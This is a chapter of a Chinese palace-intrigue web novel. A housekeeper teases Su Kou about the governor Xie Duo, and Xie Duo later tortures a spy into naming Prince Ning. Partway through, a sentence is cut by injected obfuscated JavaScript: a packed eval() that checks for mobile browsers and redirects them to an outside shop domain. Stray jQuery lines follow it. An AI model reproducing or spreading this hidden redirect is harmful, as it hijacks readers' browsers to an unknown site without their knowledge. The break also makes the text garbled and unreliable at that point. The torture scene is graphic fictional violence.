晚间。
室内炭火烧得很旺，苏蔻倚在床头看书，心却不在书上，频频望向门口。
门忽然响了一声，少年立即警觉地坐直了，可紧随其后的拖沓步调却显示出了来者的身份——是王管家，而不是督公大人。
苏蔻松了口气，重新靠了回去。
下一瞬，王管家果然从屏风后探出头，“苏公子，老奴看屋内灯还亮着，便进来同你说说话。”说着，他搬了把小椅放在床边。
“好啊。”苏蔻放下手中的书，问道：“四皇子如何了？”
“四皇子没什么事，下午时被大人吓到了才哭得厉害，奶娘哄了会儿便好了。”又道：“今日大人同陛下一道祭祀时，已经说好了要将四皇子送回宫了。”
“送回去？”苏蔻没料到这么快便要送回去，但那孩子的病确实已经养好了，脸上疹子的疤痕都快褪净了，“何时送回去？”
“就在明日了。”王管家舒了口气，面上的皱纹如风中草茎般拉伸开，“幸好四皇子在府上的日子无灾也无难。”
苏蔻便也跟着舒了口气，上辈子四皇子的死因是溺亡，躲过了今日之事，也该是得救了，那督公大人呢？必定也能免于前世惨死吧！
苏蔻忍不住笑了一下，又道：“四皇子明日何时回宫？我原本还想做个陶响球给他玩。”
闻言，王管家便笑了笑，道：“晚些回去也无妨。”又说，“四皇子总黏着公子，这会儿要走了，公子是不是有些舍不得？”
苏蔻便点了点头，四皇子性子活泼，还很黏他，乍然分别，确实有些舍不得。
王管家于是叹了口气：“公子能给大人生一个就好了。”
“……”苏蔻哽了哽，开口道：“王管家，男人是不能生子的。更何况，大人也未对我……”
他终于明白督公大人为何总说那些莫名其妙的话了，一定是因为大人年纪还小的时候，王管家便给他灌输了很多错误观念。
“我开玩笑呢。”王管家笑着拍他的手，眼角皱纹炸开，嬉皮笑脸，“公子怎么还当真了？”
“……”
又听他道：“老奴生了五个孩子，还能不知道男人是不能生子的吗？”这么说完，王管家却又叹了口气，悠悠道：“不知道去求送子观音有没有用。”
“没用。”苏蔻赶紧摇头，斩钉截铁，“求玉皇大帝也没用。”
“好吧。”王管家非常失望，又道：“不过养孩子也麻烦，今世的孩子前世的债，二人白头偕老也很好。”
“什么白头偕老……”
苏蔻有些出神，他原打算等一切料理好，等大人如四皇子一般，逃离既定的死局，到那时，他便会离开。
可离开之后去哪呢？少年垂下头，揪着腿上的被子，他没想过。天大地大，他认识的人，在意的人，都在这小小的督公府。
“公子怎么发起呆了？”王管家伸手在苏蔻眼前晃了晃，“在幻想和大人白头偕老吗？”
“不，怎么可能。”苏蔻面上有些热，心中却不由自主地顺着王管家的话去幻想，大人虽比他大十岁，却仍十分年轻，不知真正老了会是什么样子。
大人老了，冷脸时还会吓人吗？会如同现在一样喜怒无常吗？依然会莫名其妙地让他来睡自己的卧房？
他们今晚，要睡在一张榻上吗？
可为何呢？大人为何要如此做？
苏蔻心中想着，嘴上不由便说了出来。
“还能因为什么？”王管家接了话，笑得一脸明媚，苏蔻心中一紧，生怕他说出什么惊世言论，却听老人悠悠道：“大人嘴上不说，实际心里疼你呢。”
这怎么和竹生的说法一样。苏蔻想起来了，竹生打小就跟着王管家，两人共用一套脑回路。
“公子自从来了府上，身体便一直不好。”王管家抬眼望了望四周道：“大人住的这屋子，是最暖和的，炭盆也比往日多加了两个。”他拍了拍苏蔻搭在床沿的手掌，“公子且安心住着吧，快些将病养好才是正事。”
说着，他又面露遗憾，“今夜大人是不会来了，他已经吩咐下人将书房的小榻收拾出来了。”
“大人怎么能——”大人将房间让给他，自己去睡书房？
王管家见他皱着眉，叹了口气，安慰道：“苏公子，你别泄气。大人房里就你一个，现在定然是顾及公子尚在病中，才去睡书房的。等公子病好了，不宠幸你还宠幸谁呢？”
“……”苏蔻听着他左一个“房里人”，右一个“宠幸”，羞得头都要抬不起来了，半天才开口道：“我没泄气。我还在病中，别把病气带给大人了。”
“这倒是不必担心，大人身子一向很好。”王管家说着，忽然一拍脑袋，“差点忘了。”他从怀中掏出一物递给苏蔻，“这是五百两银子的会票，凭此票可在各地钱庄取用钱财。”
“这是……”苏蔻接过，“怎会突然给我这么多钱？”
“自然是救了四皇子的赏赐。”王管家见苏蔻似是想要推拒，开口道：“公子收着吧，留点钱傍身总是好的，何况也是大人的一片心意。”
“公子若是真不肯收，反倒让老奴难办了。”
他这番话说得有道理，苏蔻也不好再推脱，“那我便收下了，谢谢王管家。”
“谢我做什么？”王管家笑得一脸慈祥，“公子不如亲口谢谢大人。”
“时间也不早了，老奴便不打扰公子歇息了。公子早些睡，多睡觉是最能养身体的。”
“好。”苏蔻将会票收起来。
王管家起身，将室内的烛火熄了，拖着步子出了门。
苏蔻在一片昏暗中躺下。
即便已经换了床被褥，周遭清淡的龙脑香气依旧明显，躺在其中，像是被督公大人团团围住，连呼吸都被侵占，无处可逃，无法逃离。
内书房。
影乙跪在地上，“属下失职，那日公子同管家去集市。属下跟丢了片刻，因时间并不长，便没向大人汇报。”
谢铎想着庙内那盏金色的长明灯，指尖搭在桌案上，眸中虚虚敛着一点光，“恐怕你已经被他发现了。”
“这……”影乙下意识要说不可能，但督公大人说话做事向来不会无的放矢，便闭上了嘴，回忆往昔种种，却想不出头绪，只能开口谢罪。
督公大人瞥了他一眼，“连人都跟不住，本督要你作甚？”
影乙还要告罪，被谢铎抬手止住了，不知为何，督公大人并未发怒，只是道：“降为三等侍卫，去苏蔻院里守着。若是再出意外——”
谢铎顿了顿，影乙赶忙接话：“属下必当尽心竭力，不负主上所托。”
“去吧。”好生生在府里待着，竟也会落水，落水便算了，还要被不知从哪冒出来的杂碎反咬一口，谢铎越想越觉得这小东西实在是太不让人省心了。
影乙是暗卫中身手最好的，派去苏蔻院里，明面上守着他倒也合适。
“再把影丙影戌调回来，明日起，由他们两人暗处跟着苏蔻。”
“是。”
“必要时，他们也可现身。”
“是。”
影乙领命离开。
谢铎独自看了会儿公文，书房中的机关转了转，一道暗门自博古
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521242|203318||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
架后无声旋开，露出仅容一人通过的狭窄石阶，石阶的尽头，便是督公府的私牢，正在内书房的下方。
卫铮走出，汇报道：“大人，顺材招了，大人可要亲自下去听听？”
“这才审了多久？招得倒是快。”谢铎嗤笑一声，起身，几步踏入黑暗。
地牢中，四面墙壁上嵌着长明鱼灯，空气中漂浮着浓重的血腥味。
顺材被绑在刑架上，垂着头，血水和涎水一道从脏污的脸上流下来，身上俱是鞭痕、烙痕，血迹斑斑，几乎没有一片好肉。
见了谢铎，他赶忙喊道，“大人……”声音因难以承受的痛苦而扭曲，“我招，我都招，求大人啊——“
伴着一声凄厉的惨叫，谢铎慢条斯理地收起手中的长鞭，“我问，你答，不要有一句废话。”
“是。”顺材咽下了喉间的惨叫。
“谁派你来的？”
“是，是宁王殿下。”
“宁王？”谢铎眸中一暗。
先帝有七子，光景帝争储时，另六子废的废，死的死，留下的仅两位。
一位是凉州怀王，怀王自幼便是草包，能活到现在也仅是因为足够草包，一件正事也不做，压根构不成威胁，光景帝便也未发落他，仅将他丢去最偏远的凉州做他的草包王爷。
另一位则是青州宁王。宁王行事得体，进退有度，当年还曾暗中帮过光景帝，因而免于一死，得了个不好不坏的封地。
昔年谢铎遇难时，宁王曾替他向圣上求情，而后，谢铎成了谢督公，朝中那些人，明里暗里，讥笑怒骂的不计其数，唯宁王待他如初。
不过人心最是莫测，往往笑得最温柔的人捅过来的刀才最痛。
谢铎鬼门关前滚了一圈，谁也不肯轻易信，这些年来，与宁王并未深交。
谢铎忽然便想到了苏蔻，他掀了掀眼皮，“是你将四皇子推下去的？”
“是。”顺材已经被打服了，自然没有不肯招的。
“为何无端攀扯苏蔻？”
“奴才想着，若是大人以为是苏公子的错，奴才便能侥幸逃脱啊——”
“老实交代！”长鞭落在地上，滚出一圈淋漓血迹，很快便又被深色地面吞没不见。
“是，是宁王殿下吩咐的。”顺材打着抖，“苏公子是皇上送来的人，宁王看他碍眼，所以便想着让奴才将此事栽赃给苏公子。”
……
“处理了。”刑架上的人已经没了生息，谢铎转身走出地牢。
卫铮跟在他身后，罕见地开口问道：“大人为何亲自动手？”
不过是个小小奸细，哪需要谢铎亲自动鞭。
谢铎未答，沉沉目光落在卫铮身上，转而道：“人人都想将手伸进督公府。”又问，“你觉得宁王此举目的是为何？”
宁王远在青州，两方接触并不多，卫铮皱着眉，猜测：“挑拨大人与陛下的关系，让陛下不再重用大人？”
“本督倒不觉得他的目的只有这个。”若要挑拨关系，该在陛下那处使力，平白做戏给他看做什么？看来宁王到底是不老实，已经生出了不臣之心。
他推开窗，望见远处卧房的灯已经熄了，在寒凉夜风中开口：“夜深了，你先回去吧。”
“是。”卫铮退下，谢铎独自站了一会儿，却并未就寝，而是转身迈入夜色。
从内书房走到卧房的这段路，他日日都要走，不过百步，转眼间便走到了门前。
指尖抵在门扉上，微微用力，门无声敞开，室内温暖的气息如阵阵春风，扑面而来。
绕过屏风，谢铎步子愈轻。